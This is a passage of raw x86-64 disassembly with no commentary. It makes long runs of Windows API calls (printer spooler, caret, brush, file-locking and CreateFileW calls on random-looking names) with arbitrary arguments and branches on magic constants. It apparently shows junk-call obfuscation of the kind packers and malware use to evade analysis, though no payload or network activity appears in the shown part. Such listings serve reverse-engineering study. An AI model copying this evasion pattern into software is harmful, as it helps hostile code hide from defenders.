mov dword [rsp + 0x47b4], eax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [rsp + 0x46a0], eax
mov r9d, 0x91
lea r8, [rsp + 0x271]
xor edx, edx
mov rcx, qword [rsp + 0x8c68]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x46a4], eax
mov dword [rsp + 0x20], 0x55
lea r9, [rsp + 0x273]
mov r8d, 0x50
mov rdx, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8cb8]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x47b8], eax
mov r9d, 0x13
mov r8d, 0x95
mov rdx, qword [rsp + 0x90c8]
mov rcx, qword [rsp + 0x8d80]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4680], eax
lea rax, [rsp + 0x8ef0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 7
lea r9, [rsp + 0x8f30]
mov r8d, 0xc0
mov rdx, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4790], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov dword [rsp + 0x47bc], eax
cmp dword [rsp + 0x47bc], 0x1bacd388
je 0x14003c1f2
cmp dword [rsp + 0x47bc], 0x24bc4074
je 0x14003c384
cmp dword [rsp + 0x47bc], 0x2599516e
je 0x14003c303
cmp dword [rsp + 0x47bc], 0x5d3aa761
je 0x14003c02f
jmp 0x14003c428
mov r9d, 5
mov r8d, 0x74
mov rdx, qword [rsp + 0x8ba0]
mov rcx, qword [rsp + 0x8c68]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x46b4], eax
lea r8, [rsp + 0xeec]
xor edx, edx
mov rcx, qword [rsp + 0x90d8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4678], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4648]
sar eax, cl
mov dword [0x14022fb5c], eax
lea rax, [rsp + 0x8dc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5d
lea r9, [rsp + 0x9040]
mov r8d, 0x7d
mov edx, 0x7b
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x46cc], eax
lea r9, [rsp + 0xf00]
mov r8d, 0xb9
mov rdx, qword [rsp + 0x90e0]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4788], eax
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4658], eax
mov r9d, 6
mov r8d, 0xb7
mov rdx, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x90e8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x4758], eax
mov rcx, qword [rsp + 0x8ec0]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4724], eax
movsx eax, byte [rsp + 0x272]
mov rcx, qword [rsp + 0x8ef0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x7b18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8b08], rax
lea rax, [rsp + 0x1f000]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8f20]
mov qword [rsp + 0x20], rax
mov r9d, 0xf7
lea r8, [rsp + 0x7b18]
mov edx, 0xd4
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
add eax, ecx
mov word [rsp + 0xeec], ax
jmp 0x14003c428
lea rax, [rsp + 0x1a268]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8dc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xab
lea r9, [rsp + 0x8e60]
mov r8d, 0xb1
mov rdx, qword [rsp + 0x8d88]
mov ecx, 0x29
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4664], eax
mov edx, 0x87
mov ecx, 0x31
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x465c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x26f]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1d3], al
lea rcx, [rsp + 0x1edf0]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x47c4], eax
mov r9d, 0x4f
mov r8d, 0x66
mov edx, 0xc3
mov rcx, qword [rsp + 0x8b68]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x8b90], rax
mov qword [rsp + 0x20], 0x92
mov r9, qword [rsp + 0x8bd8]
mov r8, qword [rsp + 0x9060]
mov rdx, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0x90f0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8b58], rax
jmp 0x14003c428
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x7f10]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
mov edx, 0x80
mov rcx, qword [rsp + 0x90f8]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8d98], rax
mov r8, qword [rsp + 0x9100]
mov rdx, qword [rsp + 0x90e8]
mov rcx, qword [rsp + 0x8bc8]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
jmp 0x14003c428
movsx eax, word [rsp + 0xef0]
movsx ecx, word [rsp + 0xb4c]
sub eax, ecx
mov word [rsp + 0xa54], ax
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x22
lea r9, [rsp + 0xef0]
mov r8d, 0x9d
mov edx, 0x4f
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x4688], eax
lea rax, [rsp + 0x90a0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x21
lea rax, [rsp + 0x8ef0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x6d8]
mov r8, qword [rsp + 0x9090]
mov rdx, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4750], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1d0c
mov r9d, 0x3593
mov r8d, 0x376d3f74
mov edx, 1
mov rcx, qword [rsp + 0x8f08]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x46c0], eax
movzx eax, byte [rsp + 0x273]
mov byte [rsp + 0x47c8], al
cmp byte [rsp + 0x47c8], 7
je 0x14003c678
cmp byte [rsp + 0x47c8], 0x27
je 0x14003c741
cmp byte [rsp + 0x47c8], 0x41
je 0x14003c499
jmp 0x14003c884
lea rax, [rsp + 0x4644]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x6a
lea r9, [rsp + 0x465c]
mov r8d, 0x2e
mov edx, 0x8d
mov rcx, qword [rsp + 0x8c50]
call sub.WINSPOOL.DRV_GetJobW
mov dword [rsp + 0x46b0], eax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xeec]
or eax, ecx
mov word [rsp + 0xf00], ax
mov r9d, 0x54
lea r8, [rsp + 0x4774]
mov edx, 0x3c
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
shl eax, cl
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x63
lea r9, [rsp + 0x8e68]
mov r8d, 0xdb
mov edx, 0x6f
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9080]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
lea rax, [rsp + 0x4798]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xaf
lea r9, [rsp + 0x470c]
mov r8d, 0xa2
mov rdx, qword [rsp + 0x9118]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x46a4], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4680], eax
lea rax, [rsp + 0x8bc0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xaa
lea rax, [rsp + 0xee]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1edf0]
mov r8, qword [rsp + 0x9120]
mov rdx, qword [rsp + 0x8f48]
mov rcx, qword [rsp + 0x8c48]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x470c], eax
lea rcx, [rsp + 0x1a248]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8f60]
sar rax, cl
mov qword [rsp + 0x80e0], rax
movzx eax, word [rsp + 0x6d8]
movzx ecx, word [rsp + 0xf04]
and eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
jmp 0x14019eadf
mov edx, 0x16
mov ecx, 0x67
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8f30], rax
mov edx, 0x48
lea rcx, [rsp + 0x9010]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c58], rax
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x272]
add eax, ecx
mov byte [rsp + 0x271], al
mov dword [rsp + 0x20], 0x2f
lea r9, [rsp + 0x8f98]
mov r8d, 0x3a
lea rdx, [rsp + 0x90f0]
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x47cc], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x4674], eax
mov edx, 0x4e
mov rcx, qword [rsp + 0x9128]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c18], rax
mov r8d, 0x92
mov rdx, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8b68]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x14019eadf
mov edx, 9
lea rcx, [rsp + 0x9040]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8bf0], rax
mov rax, qword [rsp + 0x8e00]
mov ecx, dword [rsp + 0x46c4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [0x14024f3be], ax
lea rdx, [rsp + 0x1a2f8]
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x47a4], eax
movsx eax, word [rsp + 0xef0]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0xb6
lea rax, [rsp + 0xf00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x46c4]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8d38]
mov qword [rsp + 0x20], rax
mov r9d, 0x70
mov r8, qword [rsp + 0x9138]
mov edx, 0x4f
mov rcx, qword [rsp + 0x8cc8]
call sub.WINSPOOL.DRV_EnumPrinterDataW
mov dword [rsp + 0x46e8], eax
lea rax, [rsp + 0x8ba8]
mov qword [rsp + 0x20], rax
mov r9d, 0x29
mov r8, qword [rsp + 0x8c10]
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x47d0], eax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x4440]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
jmp 0x14019eadf
mov eax, dword [rsp + 0x4774]
mov dword [rsp + 0x47d4], eax
cmp dword [rsp + 0x47d4], 0
je 0x14003c9d4
cmp dword [rsp + 0x47d4], 0x8844
je 0x14003c8b2
jmp 0x14003ca7f
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf04], ax
mov r8, qword [rsp + 0x9140]
mov rdx, qword [rsp + 0x8b78]
mov rcx, qword [rsp + 0x9148]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4678], eax
call qword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov dword [rsp + 0x4710], eax
lea rax, [rsp + 0x9010]
mov qword [rsp + 0x20], rax
mov r9d, 0x1f
mov r8, qword [rsp + 0x8dd8]
mov rdx, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0x8b48]
call sub.WINSPOOL.DRV_EnumPrinterKeyW
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x46a0], eax
lea r9, [rsp + 0x8ce8]
lea r8, [rsp + 0x4668]
xor edx, edx
mov rcx, qword [rsp + 0x9158]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x47ac], eax
mov r9d, 0x12
mov r8d, 0x56
mov rdx, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
add eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x1d3]
sub eax, ecx
mov byte [rsp + 0x26f], al
jmp 0x14003ca7f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4744]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4314], eax
lea rax, [rsp + 0x271]
mov qword [rsp + 0x9160], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.VCXgsyJubB14jQQn03xznrIc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9168], rax
movzx eax, word [rsp + 0xa54]
mov word [0x14024f3bc], ax
lea rax, [rsp + 0xa54]
mov qword [rsp + 0x9170], rax
movzx ecx, word [rsp + 0xee0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xefc], ax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x274]
cdq
idiv ecx
mov byte [rsp + 0x26a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
movzx ecx, word [rsp + 0xef4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4710], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9178], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rdx, [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8b80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x46fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.CjSPOQoPz1CONWWZEG9ej
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9180], rax
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov dword [rsp + 0x47dc], eax
cmp dword [rsp + 0x47dc], 0x259
je 0x14003cc17
cmp dword [rsp + 0x47dc], 0x3d7
je 0x14019e7ee
cmp dword [rsp + 0x47dc], 0x4f5
je 0x14003cc29
cmp dword [rsp + 0x47dc], 0x52a
je 0x14019e722
jmp 0x14019e905
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x46e4], eax
jmp 0x14019e905
movzx ecx, word [rsp + 0xef8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf08], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x469c]
mov dword [rsp + 0x47e0], eax
cmp dword [rsp + 0x47e0], 0x2fda
ja 0x14003ccb3
cmp dword [rsp + 0x47e0], 0x2fda
je 0x14019e1c3
cmp dword [rsp + 0x47e0], 0
je 0x14003ccda
cmp dword [rsp + 0x47e0], 0x18d1
je 0x14019e0ef
cmp dword [rsp + 0x47e0], 0x1ea6
je 0x14019e398
jmp 0x14019e6e0
cmp dword [rsp + 0x47e0], 0x933f
je 0x14019e2c9
cmp dword [rsp + 0x47e0], 0xfca5
je 0x14019e595
jmp 0x14019e6e0
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x46c0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9188], rax
mov eax, dword [rsp + 0x46d4]
mov dword [rsp + 0x47e4], eax
cmp dword [rsp + 0x47e4], 0
je 0x14003cd68
cmp dword [rsp + 0x47e4], 0x6066
je 0x14019de21
cmp dword [rsp + 0x47e4], 0x8eeb
je 0x14019da80
cmp dword [rsp + 0x47e4], 0xb093
je 0x14019dde8
cmp dword [rsp + 0x47e4], 0xb472
je 0x14019dc30
jmp 0x14019de6a
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x272], al
mov r9d, 0x2408
xor r8d, r8d
lea rdx, [rsp + 0x8df8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
mov dword [rsp + 0x47e8], eax
cmp dword [rsp + 0x47e8], 0x417
je 0x14003cddf
cmp dword [rsp + 0x47e8], 0x60b
je 0x14003ce82
jmp 0x14003d0ad
lea rax, [rsp + 0x1a258]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xf8
lea r9, [rsp + 0x8b90]
mov r8d, 0xee
mov rdx, qword [rsp + 0x8ed0]
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x47ec], eax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x46c4], eax
lea rcx, [rsp + 0x1a258]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9098], rax
mov r8d, 0xb3
mov rdx, qword [rsp + 0x8b68]
mov rcx, qword [rsp + 0x9190]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
lea rdx, [rsp + 0x1f0e0]
mov rcx, qword [rsp + 0x8fb0]
call sub.MAGNIFICATION.dll_MagGetColorEffect
mov dword [rsp + 0x4674], eax
jmp 0x14003d0ad
lea rdx, [rsp + 0x1a2e0]
mov rcx, qword [rsp + 0x8ea0]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x46dc], eax
mov dword [rsp + 0x20], 2
lea r9, [rsp + 0x7b18]
mov r8d, 0xb2
mov edx, 0x15
mov rcx, qword [rsp + 0x9198]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
movzx eax, word [rsp + 0x6d8]
mov rcx, qword [rsp + 0x8e58]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeec], ax
lea r9, [rsp + 0x8f98]
lea r8, [rsp + 0x1a310]
xor edx, edx
mov rcx, qword [rsp + 0x8fb0]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4720], eax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [rsp + 0x4738], eax
lea rcx, [rsp + 0x1a288]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x8bf0], rax
lea rax, [rsp + 0x8f30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x41
lea r9, [rsp + 0x8ec0]
mov r8d, 0x7a
mov rdx, qword [rsp + 0x91a0]
mov rcx, qword [rsp + 0x8e80]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x47f0], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x270]
xor eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [0x14024f3c0]
movzx ecx, al
mov rax, qword [rsp + 0x9080]
shl rax, cl
mov qword [rsp + 0x8e30], rax
mov qword [rsp + 0x20], 0x13
mov r9, qword [rsp + 0x91a8]
mov r8, qword [rsp + 0x90f8]
mov rdx, qword [rsp + 0x91b0]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x8fa8], rax
mov dword [rsp + 0x20], 0xe7
lea r9, [rsp + 0xb4c]
mov r8d, 0xb5
mov rdx, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x91b8]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x46a0], eax
lea rax, [rsp + 0x9018]
mov qword [rsp + 0x20], rax
mov r9d, 0xd4
lea r8, [rsp + 0x8e10]
mov edx, 0x90
mov rcx, qword [rsp + 0x90a8]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9080]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e30], rax
lea r8, [rsp + 0x9020]
xor edx, edx
mov rcx, qword [rsp + 0x91c0]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x46e4], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov byte [rsp + 0x47f4], al
cmp byte [rsp + 0x47f4], 0x3b
je 0x14003d11e
cmp byte [rsp + 0x47f4], 0x80
je 0x14003d0d8
jmp 0x14003d30f
lea rax, [rsp + 0x1a2e0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x47f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x56
lea r8, [rsp + 0x8ef0]
mov edx, 0x8d
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x46c8], eax
jmp 0x14003d30f
mov rax, qword [rsp + 0x9160]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x271]
sar eax, cl
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xef0]
sub eax, ecx
mov word [rsp + 0xa54], ax
lea r8, [rsp + 0x1a310]
xor edx, edx
mov rcx, qword [rsp + 0x9060]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x47fc], eax
mov r8d, 0xe9
mov rdx, qword [rsp + 0x9048]
mov rcx, qword [rsp + 0x91c8]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov edx, 0xc9
mov rcx, qword [rsp + 0x90e8]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4668]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4644], eax
mov dword [rsp + 0x28], 0x2f
lea rax, [rsp + 0x9008]
mov qword [rsp + 0x20], rax
mov r9d, 0x81
mov r8, qword [rsp + 0x8b38]
mov rdx, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x91d0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x46e8], eax
mov edx, 0x92
mov ecx, 0x54
call qword [sym.imp.GDI32.dll_CreateHatchBrush]
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x46d4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xee], al
lea rax, [rsp + 0x1ed30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xd4
lea r9, [rsp + 0x8b08]
lea r8, [rsp + 0x8410]
mov rdx, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x8cc0]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x4800], eax
mov dword [rsp + 0x20], 0x9f
lea r9, [rsp + 0x4440]
mov r8d, 0x24
mov edx, 0x2c
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x47cc], eax
mov r8, qword [rsp + 0x8f40]
mov rdx, qword [rsp + 0x8fb0]
mov rcx, qword [rsp + 0x8b50]
call sub.WINSPOOL.DRV_ConfigurePortW
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0x9008]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b08], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3bfb
mov r9d, 0x394f
mov r8d, 0x8722e860
mov edx, 1
mov rcx, qword [rsp + 0x9168]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4808], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8cf8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4434], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
